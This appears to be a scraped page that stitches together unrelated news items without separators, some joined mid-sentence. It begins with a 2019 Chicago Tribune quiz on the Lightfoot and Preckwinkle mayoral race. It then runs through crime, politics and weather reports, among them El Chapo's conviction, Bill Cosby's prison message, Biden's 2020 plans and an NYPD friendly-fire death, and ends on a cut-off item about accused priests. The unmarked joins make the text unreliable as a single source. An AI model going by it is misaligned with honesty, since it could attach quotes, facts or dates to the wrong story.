Election 2019 Which Chicago mayoral candidate do you align most closely with? Take this quiz to find out. Chicagoans will head back to the polls on April 2 to decide whether Lori Lightfoot or Toni Preckwinkle will be the city's next mayor. We asked both candidates whether they support or oppose 14 proposals, and to rank their importance on a scale of 1 to 10, with 1 being least important and 10 being most important. By answering the same questions, our algorithm will identify how closely your positions align with each candidate. The Tribune is not collecting the results and you may take the survey as many times as you like. For more information about the candidates and the issues, visit our Chicago Voter's Guide. Lori

Lightfoot Age: 58 1: Do you support freezing Chicago property taxes? Position No

Importance

Your selections: 2: Do you support taxing suburbanites who commute to work in Chicago? Position No

Importance

Your selections: 3: Do you support legalizing recreational use of marijuana? Position Yes

Importance

Your selections: 4: Do you support preserving Chicagos status as a sanctuary city for immigrants? Position Yes

Importance

Your selections: 5: Do you support a casino in downtown Chicago? Position Yes

Importance

Your selections: 6: Do you support legalized video gambling in the city? Position Yes

Importance

Your selections: 7: Do you support the practice known as aldermanic privilege in which aldermen have final say over projects in their wards? Position No

Importance

Your selections: 8: Do you support building a high-speed tunnel from Downtown to OHare as proposed by Elon Musk? Position No

Importance

Your selections: 9: Do you support a moratorium on closing Chicago public schools? Position Yes

Importance

Your selections: 10: Do you support term limits for aldermen and the mayor? Position Yes

Importance

Your selections: 11: Do you support renaming the Dan Ryan Expressway for President Barack Obama? Position No opinion (or haven't formed an opinion)

Importance

Your selections: 12: Do you support reducing the City Council to 25 or fewer aldermen? Position No opinion (or haven't formed an opinion)

Importance

Your selections: 13: Do you support a graduated income tax in Illinois? Position Yes

Importance

Your selections: 14: Do you support the practice known as dibs in which drivers can stake out parking spots they shoveled? Position Yes

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Your selections: Toni

Preckwinkle Age: 74 1: Do you support freezing Chicago property taxes? Position Yes

Importance

Your selections: 2: Do you support taxing suburbanites who commute to work in Chicago? Position No

Importance

Your selections: 3: Do you support legalizing recreational use of marijuana? Position Yes

Importance

Your selections: 4: Do you support preserving Chicagos status as a sanctuary city for immigrants? Position Yes

Importance

Your selections: 5: Do you support a casino in downtown Chicago? Position Yes

Importance

Your selections: 6: Do you support legalized video gambling in the city? Position Yes

Importance

Your selections: 7: Do you support the practice known as aldermanic privilege in which aldermen have final say over projects in their wards? Position Yes

Importance

Your selections: 8: Do you support building a high-speed tunnel from Downtown to OHare as proposed by Elon Musk? Position No

Importance

Your selections: 9: Do you support a moratorium on closing Chicago public schools? Position Yes

Importance

Your selections: 10: Do you support term limits for aldermen and the mayor? Position No

Importance

Your selections: 11: Do you support renaming the Dan Ryan Expressway for President Barack Obama? Position Yes

Importance

Your selections: 12: Do you support reducing the City Council to 25 or fewer aldermen? Position No

Importance

Your selections: 13: Do you support a graduated income tax in Illinois? Position Yes

Importance

Your selections: 14: Do you support the practice known as dibs in which drivers can stake out parking spots they shoveled? Position Yes

Importance

Your selections:

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How we calculated the results: The Tribunes scoring algorithm, developed in consultation with a university statistician, compares a voter to each mayoral candidate and awards or subtracts points for each of the 14 issues based on whether the voter and candidate agree on the issue, and the strength of the voters and candidates interest in the issue. Mathematically, the algorithm combines the voters and candidates importance ratings, and then adds those points if there is agreement on the issue, and subtracts those points if there is disagreement. The algorithm  which emphasizes agreement on an issue more strongly than similarity in how a voter and candidate rated the importance of an issue  then totals up the points for each of the 14 issues and applies a calculation to represent the result on a 0% to 100% scale.(CNN)  Drug lord Joaquin "El Chapo" Guzman Loera, who once headed a criminal enterprise that spanned continents and triggered waves of bloodshed throughout his native Mexico, was found guilty Tuesday of all 10 federal criminal counts against him.

The vast Brooklyn, New York, courtroom fell silent as the verdict was read. Jurors did not look at the defendant, who pocketed nearly $14 billion as the decadeslong head of the murderous Sinaloa cartel.

There was no visible reaction from Guzman, whose conviction on the top charge of engaging in a continuing criminal enterprise carries a mandatory term of life in prison. He will be sentenced on June 25.

"It is a sentence of which there is no escape and no return, " U.S. Attorney for the Eastern District Richard Donoghue said.

U.S. District Judge Brian Cogan confirmed the verdicts with each of the eight women and four men on the jury, telling them later their conduct on the panel "made me very proud to be an American."

One of Guzman's lawyers described him as "extremely upbeat" after the verdict.

"He's a fighter," defense attorney Michael Lambert said. "He's not done yet by far."

After jurors left the room, Guzman waved and smiled at his wife, Emma Coronel, a former beauty queen and courtroom regular who smiled back and touched her hand to her heart.

What the 'El Chapo' verdict means for the powerful Sinaloa cartel

"Good, thank you," she said in Spanish when asked how she felt after the verdict.

The partially sequestered and anonymous jury deliberated roughly 34 hours over six days.

Over 2 months, they sat through testimony about unspeakable torture and ghastly murders, epic corruption at nearly every level of Mexico's government, narco-mistresses and naked subterranean escapes, gold-plated AK-47s and monogrammed, diamond-encrusted pistols.

"We are obviously disappointed with the jury's verdict in the trial of Joaquin Guzman Loera but are respectful of the process and the jury's decision," defense attorney Eduardo Balarezo said. "We were faced with extraordinary and unprecedented obstacles in defending Joaquin. ..."

Another member of the defense team, Jeffrey Lichtman, said they waged a vigorous defense against an "avalanche" of evidence and cooperating witnesses. They plan to file an appeal on a number of issues.

"He was bringing our spirits up, which was surprising. Usually it's the other way around," Lichtman said of his client after the verdict. "He's always been a gentleman, always been supportive, always been happy and appreciative of all our efforts."

Donoghue said the case represented a victory for the American people, for Mexicans who had lost loved ones in drug wars, and for every family who has lost someone to drug addiction.

"There are those who say the war on drugs is not worth fighting. Those people are wrong," he said.

The case, Donoghue said, pulled back the curtain on international drug trafficking in a way no trial ever has, revealing the endemic corruption that allowed the Sinaloa cartel to operate.

"This is a day of reckoning, but there are more days of reckoning to come," he said.

Gold-plated AK-47s and diamond-encrusted pistols

Guzman, 61, was convicted of 10 counts, including engaging in a continuing criminal enterprise, conspiracy to launder narcotics proceeds, international distribution of cocaine, heroin, marijuana and other drugs, and use of firearms.

He faces a mandatory life sentence without the possibility of parole for leading a continuing criminal enterprise, and a sentence of up to life imprisonment on the remaining drug counts.

Federal prosecutors said they will seek a forfeiture judgment for billions of dollars constituting the cartel's illegal drug-trafficking proceeds.

The prosecution's case featured 200 hours of testimony from 56 witnesses. Fourteen of those witnesses  mostly admitted drug traffickers and cartel associates  cooperated with prosecutors in hopes of reducing their own prison sentences.

There were also surveillance photos, intercepted phone calls and text messages involving Guzman, as well as exhibits of blingy firepower and bricks of cocaine that dropped with the force of potato sacks.

In contrast, defense attorneys called just one witness and focused on undermining the credibility of cooperating witnesses. Defense attorney Jeffrey Lichtman said these witnesses had "lied every day of their lives  their miserable, selfish lives."

Guzman, once listed on Forbes' Billionaires List, has long been a slippery and near-mythical figure. He escaped from a Mexican prison in 2001 in a laundry cart and again in 2015 through a tunnel. After he was recaptured in 2016, he was extradited to the U.S. to face American federal charges.

The high-profile trial centered on the struggles and actions of El Chapo, who came from humble origins in the heart of Mexico's rugged three-state Golden Triangle to become its most infamous native son.

The 12-week proceedings were conducted in part during the partial government shutdown over funding for a border wall. It showed that such fortification would have failed to stop tons of drugs the cartel moved from Mexico to the United States via fishing boats, trains, tractor-trailers, radar-evading airplanes, passenger cars at legal ports of entry, submarines, oil tankers, cocaine-laden cans of jalapenos and cross-border tunnels.

It included stunning testimony of corruption at nearly every echelon of Mexico's government, from police and military commanders to local and state officials to former presidents who vehemently denied the allegations.

The courtroom drama drew celebrities and so-called narco-tourists attracted to the Latin American soap opera atmosphere of the proceedings. Guzman appeared in a suit and tie each morning, delivering a wave and smile to Coronel in the second row.

Under El Chapo, the Sinaloa cartel smuggled narcotics to wholesale distributors in Arizona, Atlanta, Chicago, Los Angeles, Miami, New York.

Experts have said that Guzman's capture in 2016, extradition one year later and conviction on Tuesday has not  and will not diminish the power and reach of the Sinaloa cartel.

This story was first published on CNN.com "Mexican drug lord Joaquin 'El Chapo' Guzman is found guilty on all counts"Weather Alert

...DANGEROUS HEAT EXPECTED THROUGH THE WEEKEND AND INTO NEXT WEEK... A strong high pressure system will build over the Pacific Northwest through the weekend and into next week. Sinking air under the high pressure will result in very hot temperatures and the potential for record highs from Saturday into next week for most areas. ...EXCESSIVE HEAT WARNING IN EFFECT FROM FRIDAY AFTERNOON TO THURSDAY EVENING... * WHAT...Dangerously hot conditions with temperatures of 108 to 114 expected. * WHERE...In Washington, Lower Columbia Basin of Washington. In Oregon, Lower Columbia Basin of Oregon. * WHEN...From Friday afternoon to Thursday evening. * IMPACTS...Extreme heat will significantly increase the potential for heat related illnesses, particularly for those working or participating in outdoor activities. * ADDITIONAL DETAILS...There is some possibility that all time record high temperatures will be reached or exceeded during this heat wave. PRECAUTIONARY/PREPAREDNESS ACTIONS... Drink plenty of fluids, stay in an air-conditioned room, stay out of the sun, and check up on relatives and neighbors. Young children and pets should never be left unattended in vehicles under any circumstances. Take extra precautions if you work or spend time outside. When possible reschedule strenuous activities to early morning or evening. Know the signs and symptoms of heat exhaustion and heat stroke. Wear lightweight and loose fitting clothing when possible. To reduce risk during outdoor work, the Occupational Safety and Health Administration recommends scheduling frequent rest breaks in shaded or air conditioned environments. Anyone overcome by heat should be moved to a cool and shaded location. Heat stroke is an emergency! Call 9 1 1. &&The Senate will vote on the Green New Deal, a moonshot plan by Democrats to combat climate change, Senate Majority Leader Mitch McConnell said Tuesday, announcing a move designed to force Senate Democrats  including a cast of presidential candidates  into a political bind.

The plan, initially championed by freshman Rep. Alexandria Ocasio-Cortez, calls for a New Deal-style mobilization to shift the U.S. economy away from fossil fuels such as oil and coal and replace them with renewable sources such as wind and solar power. Republicans have mocked it a progressive pipedream that would drive the economy off a cliff and lead to a huge tax increase, calling it evidence of the creep of "socialism" in the party.

The upcoming vote  which has not yet been scheduled  will "give everybody an opportunity to go on record," McConnell said.

The vote could be a moment of truth for several Democratic presidential candidates. The document is one of the first high-profile attempts at policymaking from the newly empowered liberal wing of the party. It drew swift praise from several 2020 contenders angling for support from the party's base. The Senate vote will test how far left those candidates are willing to go, risking leaving moderate voters behind.

Republicans see it  and its rocky rollout promoting elements of the proposal later rescinded  as a political opening.

President Donald Trump slammed the Green New Deal at a rally Monday in El Paso, Texas, saying it would "shut down American energy." It sounds like "a high-school term paper that got a low mark," he said.

Trump has frequently expressed doubt about climate change and said he does not believe action is needed to reduce greenhouse gas emissions that contribute to global warming. His administration has focused on U.S. "energy dominance" and increased production of oil, gas and coal on federal and private land.

The climate measure is already supported by at least five senators seeking the Democratic nomination for president: Cory Booker of New Jersey, Kirsten Gillibrand of New York, Kamala Harris of California, Elizabeth Warren of Massachusetts and Amy Klobuchar of Minnesota. Vermont Independent Sen. Bernie Sanders, who's likely to enter the Democratic primary soon, is also a supporter.

But a seventh potential candidate in 2020, Ohio Democratic Sen. Sherrod Brown, pointedly declined Tuesday to attach his name and dismissed liberal activists' contention that he has to support the Green New Deal in order to prove his commitment to the issue.

"I don't need to co-sponsor every bill that others think they need to co-sponsor to show my progressive politics," Brown told reporters.

Asked about the proposal Tuesday, Klobuchar said she was a supporter of the broad idea, but kept some distance from the details.

"I see it as aspirational," she said on Fox News. "I am for a jumpstart of the discussion and a framework."

The vote wouldn't be the first time Senate Republicans forced Democratic presidential hopefuls to go on the record about a liberal proposal they believe will alienate moderate voters later. The GOP-controlled Senate scheduled a symbolic vote on single-payer health care legislation in 2017, a decision also intended to put prominent liberals on the spot, and in January brought up foreign policy legislation that took on the boycott movement against Israel.

The vote on the health care legislation didn't quite carry the punch Republicans had hoped. Rather than expose of rift in the party, 43 Democrats decided to vote "present" as a show of frustration with the politically motivated maneuver.

Spearheaded by Ocasio-Cortez, of New York, and Democratic Sen. Ed Markey of Massachusetts, the proposal calls for dramatic steps to virtually eliminate U.S. greenhouse gas emissions by 2030. The nonbinding resolution sets a goal to meet "100 percent of the power demand in the United States through clean, renewable and zero-emission energy sources," including nuclear power.

The plan goes far beyond energy to urge national health care coverage and job guarantees, as well as high-quality education, affordable housing and a high-speed rail network. The ambitious proposal met a reality check Tuesday as California Gov. Gavin Newsom announced he's abandoning a plan to build a high-speed rail line between Los Angeles and San Francisco, a project with an estimated cost that has ballooned to $77 billion.

It also calls for upgrading all existing buildings in the United States to be energy-efficient.

"This is now a voting issue across the country," Markey said last week. "The green generation has risen up and they are saying they want this issue solved."

Problems in the Democratic rollout of the proposal have further fueled the Republican attacks.

Trump, at his rally Monday night, said that under the Green New Deal, "You're not allowed to own cows anymore." He added that the plan would "shut down American energy" and "a little thing called air travel."

The resolution submitted to the House and Senate makes no mention of cows or air travel. But Trump's comments referred to a fact sheet of "Frequently Asked Questions" distributed by Ocasio-Cortez's office prior to a news conference last week. Ocasio-Cortez has subsequently described the fact sheet, which has been deleted from her website, as a "draft."

The earlier version of the fact sheet described measures far beyond those contained in the actual plan, such as: "Build out high-speed rail at a scale where air travel stops becoming necessary." And it made the impolitic statement: "We set a goal to get to net-zero, rather than zero emissions, in 10 years because we aren't sure that we'll be able to fully get rid of farting cows and airplanes that fast."

Corbin Trent, a spokesman for Ocasio-Cortez, said the quip about cows and airplanes was meant to be ironic, but Trump and other Republicans seized on it as an example of the plan's excesses.

"Along with abolishing farting cows, beefing up high-speed rail so that airplanes can be banned is a key element in the proposal," the National Republican Congressional Committee said in an email Tuesday attacking Rep. Mike Levin, D-Calif., a Green New Deal supporter.

The forthcoming vote isn't the first or the last time Senate Republicans forced Democratic presidential hopefuls to go on the record about a liberal proposal they believe will alienate moderate voters later. The GOP-controlled Senate scheduled a symbolic vote on single-payer health care legislation in 2017, a decision also designed to put prominent liberals on the spot, and in January brought up foreign policy legislation that took on the boycott movement against Israel.

The vote on the health care legislation didn't quite carry the punch Republicans had hoped. Rather than expose of rift in the party, 43 Democrats decided to vote "present" as a show of frustration with the politically motivated maneuver.

Associated Press reporter Elana Schor contributed to this report.A 23-year-old woman who was reported missing over the weekend has been found alive, Boston police confirmed Tuesday afternoon.

Olivia Ambrose was found alive at a housing project in the city's Charlestown neighborhood and was taken to a local hospital to be evaluated. Authorities did not provide information on her condition.

A suspect, 38-year-old Victor Pena of Charlestown, has been arrested and charged with kidnapping, according to Boston Police Commissioner William Gross. He said Ambrose was found in Pena's apartment.

"She's very strong," Heather Ambrose, Olivia's mother, told NBC10 Boston after returning with her daughter to the family home in Wenham, Massachusetts. "It's going to be a process, but she's OK."

A suspect has been charged with kidnapping after Olivia Ambrose, who had been missing since Saturday, was found alive in Bostons Charlestown neighborhood.

An Ambrose family spokesperson issued a statement expressing their gratitude toward police and others who aided in the search.

"The Ambrose family is so grateful for the monumental efforts of the Boston Police Department and the MBTA and Transit police who have worked tirelessly over the last three days to bring Olivia home," the statement read. The family also thanked "all of the staff at Hennessey's Bar who have been so helpful since Olivia went missing" and said they were "also so appreciative of all the efforts, prayers and good wishes of ... friends, family and complete strangers."

Police also thanked the community for its efforts in helping find Ambrose.

"Thank you to everybody who aided, helped and assisted in the investigation and search," Boston police tweeted.

Hours before she was found alive Tuesday, investigators released two surveillance images of a person of interest along with a timeline of Ambrose's last known whereabouts. when she had been last seen in a bar on Union Street and when she was last caught on surveillance video in Charlestown.

Police and her family said Ambrose was last seen leaving Hennessy's bar near Faneuil Hall on Union Street Saturday night, where she had been hanging out with her twin sister and her friends. Police said Ambrose was later seen on surveillance video in Charlestown, where she was eventually found.

It was not immediately clear if he had an attorney.What to Know James McCauley, 17, was arrested and charged with attempted homicide, aggravated assault, and other related offenses.

McCauley allegedly shot another teen who was trying to purchase marijuana from him at an intersection in Haverford Township.

The victim is in critical condition. Police are searching for two other people who were allegedly with McCauley during the shooting.

A teenage boy is in custody after he allegedly shot another teen in the face during what police describe as a marijuana purchase gone wrong on a Haverford Township street Tuesday night.

James McCauley, 17, was arrested and charged with attempted homicide, aggravated assault, recklessly endangering another person and other related offenses.

The incident began Tuesday around 8 p.m. at the intersection of Rose Tree Lane and Glen Gary Drive. Marquis Mays, an 18-year-old student and football standout at Haverford High School, along with another male, arranged to buy one ounce of marijuana for $150 cash from McCauley and two other people, police said.

Investigators say McCauley drove the car to the intersection and Mays entered the vehicle to buy the marijuana. During the drug deal however, one of the males in the back of the vehicle became aggressive with Mays and a physical fight ensued, according to police.

McCauley then allegedly pulled out a black semi-automatic pistol and shot Mays in the face as he tried to exit.

Responding Haverford police officers later found Mays lying on his back in the middle of the street with a large pool of blood around his head. He was taken to the hospital.

Investigators identified McCauley as the gunman. He was arrested at the house where he lives on the 100 block of Friendship Road in the Drexel Hill section of Haverford.

McCauley is not cooperating with authorities, Haverford Township police Chief John Viola said. His bail was set at $1 million.

Police are seeking at least two others who they say were with McCauley at the time of the shooting.

McCauley's mother spoke to NBC10 Wednesday, claiming her son was acting in self-defense.

"He was attacked," she said. "That's all I'm going to say."

McCauley's mother also apologized to Mays' family.

The victim remained in critical condition Wednesday afternoon with a bullet lodged in his neck. Viola said at a press conference that he had no update on the young man's condition, but added, "I did speak to his mother and she said he's holding his own."

At least three young people could be seen on surveillance video running away from the scene shortly after the shooting, police said.

Viola said a shooting over an ounce of marijuana is "ridiculous."

Both the victim and the suspect go to Haverford High, Viola said.

A handgun stolen in a house robbery last summer was allegedly used in the shooting, according to officials.What to Know Michael Kaminsky faces decades in prison for child sex assault convictions.

He will have to register as a sex offender for the rest of his life.

The abuse took place while Kaminsky was left in charge of the child.

A man in Haverford Township, Pennsylvania, has been sentenced to a maximum of four decades behind bars for repeatedly sexually assaulting a preschool-aged child in 2017.

Michael Kaminsky, 47, was convicted of sexually abusing the then four-year-old after a jury trial in November 2018. He will face a 13 to 40-year prison sentence.

Kaminsky was found guilty of involuntary deviate sexual intercourse of a child, sexual assault, indecent assault and endangering the welfare of a child.

"The deplorable actions of Michael Kaminsky are abhorrent and beyond reprehensible, Delaware County District Attorney Katayoun Copeland said Tuesday. As the result of the courageous testimony of the victim and his family, the defendant will be in prison for a very long time, and he can cause no more harm.

As part of his sentence, Kaminsky will also have to register as a sex offender for the remainder of his life under Megans Law.What to Know Bill Cosby is serving 3 to 10 years for drugging and sexually assaulting Andrea Constand in 2004.

He is currently living in a single cell and has inmates to help him navigate the facilities given his age and disability.

Cosby's legal team has repeatedly sought to appeal his sentence but has not been successful.

Convicted sex offender and former comedian Bill Cosby said his attempts to showcase equality on television led to his 3-to-10-year prison sentence and fall from grace as "America's Dad."

In his first message from prison, the 81-year-old, who was declared a sexually violent predator by a Pennsylvania judge, told NBC10's Erin Coleman that he is a victim of "entrapment" carried out by a "low-life District Attorney" and "corrupt Judge."

Cosby shared his comments with his wife, Camille, after NBC10 aired a two-part interview Monday and Tuesday with his spokesman Andrew Wyatt about Cosby's life at Pennsylvania State Correctional Institution Phoenix in Collegeville, Pennsylvania. In that interview, Wyatt shared how Cosby washed his meals before eating them and wakes up at 3:30 a.m. to do calisthenics in his cell.

Cosby was convicted in April 2018 of drugging Andrea Constand and sexually assaulting her inside his Cheltenham, Pennsylvania, home in 2004. The judgment came after years of public and private statements by dozens of women who claimed they were abused by the actor best known as the patriarch of the Huxtable family on NBC's "The Cosby Show." More than 60 women accused Cosby of assaulting them over five decades.

Constand, a former women's basketball coach at Temple University, went to police a year after the assault, but the Montgomery County District Attorney declined to file charges. A decade later, the case was reopened and Cosby was arrested and charged.

Constand said the conviction allowed her to make peace with the assault.

"He needs help and he needs to repent for what he did, not only to me but for a lot of women," she told NBC News' Kate Snow after the trial. "He's a convicted sex assaulter, but I forgive him for what he did to me."

Cosby's conviction was hailed as a victory for sexual assault survivors. Several of Cosby's accusers attended the trial, which gripped the nation's attention for several weeks, at the Montgomery County Courthouse in Norristown, Pennsylvania.

"It's also a victory for all sexual assault survivors, female and male. It's a victory for womanhood," Lily Bernard, one of his accusers, said at the time.

Bill Cosbys team of confidants talk about the now famous inmate after his 3-10 year sentence for sexual assault.

Despite the conviction and sentencing of 3 to 10 years behind bars, Cosby said in his message to NBC10 that he will "never have remorse."

"My political beliefs, my actions of trying to humanize all races, genders and religions landed me in this place surrounded by barb wire fencing, a room made of steel and iron," the message, passed along to NBC10 from Cosby through Wyatt, read in part.

Cosby has maintained that his encounter with Constand was consensual. He recently settled a civil lawsuit brought by Constand for nearly $3.4 million. He considers himself among "some of the Greatest Political Prisoners" including Dr. Martin Luther King Jr., Mahatma Gandhi and Nelson Mandela.

"I stand upright as a Political Prisoner and I Smile. The Truth is Strong!"

Here's the message in full:

I heard about Ms. Colemans (NBC 10) interview from the residents here. Heres why I, [Mr. Cosby] have no remorse and will never have remorse. I was given a deal; I settled out of court for $3.8 million dollars; I waived my 5th amendment rights; I was declared Not Guilty in 2005 by the Commonwealth - never charged. However, a low-life District Attorney and a corrupt Judge needed me Guilty now. Not for justice, but for their political aspirations. They say, Mr. Cosby you must attend these classes. Why? One word. Entrapment! My political beliefs, my actions of trying to humanize all races, genders and religions landed me in this place surrounded by barb wire fencing, a room made of steel and iron. So, I now have a temporary residence that resembles the quarters of some of the Greatest Political Prisoners - Martin Luther King, Jr., Mahatma Gandhi, Nelson Mandela, Randal Robinson, and Dr. Benjamin Chavis. I stand upright as a Political Prisoner and I Smile. The Truth is Strong!

Bill CosbyIf Chicago decides to start levying a commuter tax, it would come after Mayor Rahm Emanuel eliminated a head tax on businesses during his first term. That tax, which was a $4-per-month tax on each employee for businesses with 50 or more employees earning at least $4,300 every three months, long was opposed by big businesses. The tax first went into effect in 1973 under then-Mayor Richard J. Daley, when it was $3 a head on companies with 15 or more workers, and former Mayor Richard M. Daley, vowed to phase it out but never did.Former Vice President Joe Biden will headline his first public event in about three weeks on Saturday in Munich, Germany, nearly 5,000 miles from Iowa, site of the 2020 presidential campaign's first contest.

As he weighs whether to jump into the race, Biden has been conspicuously absent from early voting states, making him an outlier among Democrats eyeing the White House. Nine Democrats have announced full-fledged campaigns, two have launched exploratory committees and several others are blanketing Iowa, New Hampshire and South Carolina as they decide whether to launch a campaign. A half-dozen made the rounds this past weekend alone.

In a wide-open race, Biden's take-it-slow approach has given other candidates a head-start in fundraising, scooping up top-tier staff and perfecting their pitch to voters. It's also given them a chance to chip away at what would be a central argument of a Biden campaign: that he is the only candidate who can defeat President Donald Trump in 2020.

Biden has said he'll only run if he doesn't believe Democrats have other viable options, and he's privately raised doubts about the electability of some of his potential rivals, according to a person with knowledge of those conversations who spoke on condition of anonymity to talk about private discussions.

But some voters who have seen those candidates up close in recent weeks disagree.

"I like Joe. He's a good man, and I like his character," said Audrey Wolf, a 72-year-old retired teacher and devout Democratic caucusgoer from Mason City. "But I will say, I'm just really open to the new faces out there."

Nick Maybanks, a 42-year-old Democratic voter from Cedar Rapids, said Biden's wavering on whether to launch a campaign "puts him a couple of paces back."

"While these others are here, I'm wondering if he would be committed to it," Maybanks, a county prosecutor, said of Biden as he and his family gathered to hear New Jersey Sen. Cory Booker address Iowa voters.

The former vice president initially expected to make his decision by now. But he blew through a self-imposed January deadline without a campaign announcement, and some longtime allies say they simply don't know when, or if, he'll enter the race.

"He's prepared, but he's also doing his due diligence," said Louisiana Rep. Cedric Richmond, the former chairman of the Congressional Black Caucus who has spoken to Biden in the past two weeks.

But for now, he doesn't have plans to visit any of the early states. He headed to Michigan on Tuesday to deliver a eulogy at a funeral for Democratic Rep. John Dingell, the longest-serving member of Congress. On Saturday, he'll speak at a high-profile national security summit in Germany.

Biden advisers say he can afford to get a later start. After eight years as vice president, he's well-known to most voters and has deep ties to Democratic activists in the early primary states. His tight-knit group of senior advisers is ready to swiftly stand up a campaign operation if Biden gives them the go-ahead.

The former vice president would also bring a more moderate track record to a campaign that is so far being defined by liberal candidates pushing big government programs, like a Green New Deal to tackle climate change and "Medicare-for-all." Biden hasn't endorsed either concept.

Biden may also be the closest thing Democrats have to a front-runner in 2020, given his long history in politics. A recent CNN poll found about 6 in 10 Democrats said Biden should run, and 44 percent said they would be very likely to support him if he did  more than said this for any other potential Democratic candidate.

But the prospect of a Biden candidacy has not scared off other candidates.

California Sen. Kamala Harris has set the pace for the field, drawing an eye-popping 20,000 people to her campaign launch last month. Her early start has also helped her campaign bank crucial information on voters, including boosting its email list by 20 percent on Harris' first day as a candidate, according to a campaign aide.

Lesser-known candidates are using the winter to start making introductions to voters. New York Sen. Kirsten Gillibrand's team sought to maximize media attention by announcing an exploratory committee during a week in mid-January when no other major campaign announcements were planned. She followed that up with quick trips to each of the early voting states, including a three-day swing through South Carolina that wrapped up Sunday.

Although she's only formed an exploratory committee at this point, Gillibrand has already hired 40 staffers.

Some Democratic strategists say the former vice president is letting valuable time slip away.

"You can't get time back," said Dan Pfeiffer, who advised Barack Obama's two successful presidential campaigns. "The Iowa caucus, which is the most complicated election in the country, is a year away, and the candidates that wait very well may regret it."

Obama is said to have made similar points to the many prospective candidates he's met with so far, according to people with knowledge of the conversations. While the former president hasn't recommended a specific timetable to candidates, he has emphasized the importance of investing early in the kind of ground operations in Iowa and elsewhere that helped catapult him to the nomination in 2008.

While most Democratic White House hopefuls have made their intentions clear by now, a handful of others share Biden's slower strategy.

Beto O'Rourke, who shot to Democratic stardom with his narrow defeat in last year's Texas Senate race, says he'll make a decision before the end of the month. O'Rourke headlined a march in his hometown of El Paso on Monday night, about a mile away from where Trump held a re-election campaign rally.

Former New York City Mayor Michael Bloomberg also plans to make a decision in February. The billionaire made a campaign-style stop in New Hampshire last month and headlined a climate change event last week in Florida, another crucial primary state.

Vermont Sen. Bernie Sanders hasn't said when he'll decide whether to launch a second presidential campaign. But he's kept making high-profile appearances, including delivering a rebuttal to Trump's State of the Union address last week.What to Know Det. Brian Simonsen, 42, was killed after being hit by gunfire at the T-Mobile store at Atlantic Avenue and 120th Street in Richmond Hill

The suspect, a 27-year-old career criminal, was shot multiple times and taken to a hospital, sources identified him as Christopher Ransom

Simonsen died in what NYPD Commissioner James O'Neill said appeared to be 'an absolutely tragic case of friendly fire'

The 27-year-old robbery suspect who sparked the police response that led to the friendly fire shooting death of an NYPD detective was a career criminal, known in his neighborhood for being a prankster who sought attention on social media.

Christopher Ransom has numerous previous arrests, including for criminal impersonation, larceny and fraud, police said. He was also wanted for robbing an RSK3 Wireless store on Rockaway Boulevard in Jamaica back on Jan. 19; the suspect in that case is seen on video holding up the store with a black gun before getting away with a couple of cellphones and about $800.

Det. Brian Simonsen and Sgt. Matthew Gorman were investigating a separate case in Richmond Hill Tuesday when they heard a call go out for a T-Mobile cellphone store being robbed. They rushed to the scene and entered the store, along with other responding officers; Ransom allegedly pointed at them with a fake gun, and advanced toward them, simulating pulling the trigger. Officers fired, shooting a total of 42 rounds in 11 seconds, and Simonsen was fatally shot in the chest.

"Make no mistake about it, friendly fire aside, it is because of the actions of the suspect that Det. Simonsen is dead," NYPD Commissioner James O'Neill said Tuesday.

Gorman was shot in the leg and is in stable condition. Ransom was also hit and is at an area hospital in stable condition. He's been charged with second-degree murder, second-degree aggravated manslaughter, robbery, assault and menacing.

Ransom has been arrested more than two dozen times times, sources said. Ransom was charged in 2016 with impersonating a police officer after allegedly climbing over a gate and walking up to a desk at a Brooklyn police station while wearing a fake SWAT vest and police badge. Police records list his alias as "Detective." Ransom pleaded guilty to criminal trespass and was sentenced to 20 days in jail.

Four years earlier, he pleaded guilty and was sentenced to jail time for pretending to be an intern to gain access to a judge's chambers and later violating an order to stay away by flashing a photocopied identification in an attempt to gain access to the courthouse.

Ransom sued the city over a 2015 disorderly conduct arrest, alleging officers approached him on a Brooklyn street corner for no reason, cornered him in a food store with guns drawn and took him to a psychiatric ward against his will.

The charges against Ransom were later dismissed, and Ransom dropped the lawsuit in 2016. A message was left for Ransom's lawyer in the lawsuit.

Friends of Ransom said he wasn't known for being violent but as an eccentric attention seeker, often posting videos of his stunts on Facebook and YouTube. He once swooped into a Brooklyn police station, wearing only underwear and a cape.

A bodega worker in his neighborhood, who asked not to be identified, told News 4, "Most kids drop out of high school. He went on, with everything going on around him, to high school, to finish college."

Comedian Ray DeJon said he invited Ransom to do stand-up at a couple of his shows. He had no idea about his extensive criminal history.

"I'm shocked," he said.

Facebook posts also indicate that Ransom may have been an actor; photos of him were published in 2015 where he appears to be on a set and he mentions appearing on TV dramas like "Shades of Blue." Another 2015 post shows a picture of a paycheck for work he allegedly did on NBC's "The Blacklist."

The I-Team also found on Ransom's Facebook page a 2016 photo of an apparent employment letter by the NYPD's Police Athletic League, Inc. addressed to him welcoming him to the "largest independent youth development agency."

Back in January, Ransom wrote on Facebook, "It took me 27 years to realize that I'm not a job type of dude. "

Police are continuing to investigate Ransom and are asking anyone with information on him to contact them at NYPDCrimestoppers.com.What to Know Nurses from across New York City are joining together to call for new requirements mandating minimum staffing levels at hospitals.

Around 15,000 nurses from 13 health care facilities in NYC plan to protest on Wednesday.

The group supports legislation to meet nurse-to-patient ratios and for staffing standards to be included in new employment contracts.

Nurses from across New York City are participating in a day of pickets and rallies Wednesday to call for new employment contracts and a state law mandating minimum staffing levels at hospitals.

Some 15,000 nurses from 13 health care facilities in the city plan to participate in events around the city during what the New York State Nurses Association is calling a day of protest. Members of the union are pushing to include staffing ratios in new contracts with health care employers. They also want lawmakers to pass a new law putting minimum staffing levels in statute.

They note that nurses filed thousands of formal protests alleging understaffing at hospitals last year, a problem with they say can lead to overworked nurses and lapses in care.

Anthony Ciampa has been a nurse for 15 years and is now NYSNA's first vice president. He said requiring minimum staffing levels in new contracts - or a state law - would improve patient outcomes. He noted that California already requires certain staffing levels for nurses.

"If California can do it New York should absolutely be able to do it too. To me it's a no brainer," he said.

Hospital executives and organizations say the requirement would increase health care costs and undermine their flexibility by imposing top-down requirements.

"The reality is that the union's rigid, mandated staffing ratios would lower the quality of patient care," said Linden Zakula, a spokesman for the New York City Hospital Alliance. "We support a patient-first approach to staffing that is built on tailored, flexible staffing plans_designed by experienced nurses_that have proven to best meet the individual and ever-changing needs of patients.

The legislation has been debated in the state Legislature for years. It has bipartisan support but it has not been scheduled for a vote.What to Know Over 180 priests Wednesday who have been credibly accused of sexually abusing minors over the past several decades in New Jersey.

Many priests on the lists are deceased, and others have been removed from ministry.

NJ follows over two dozen other states that have named suspected abusers in the wake of the grand jury report in Pennsylvania last year.

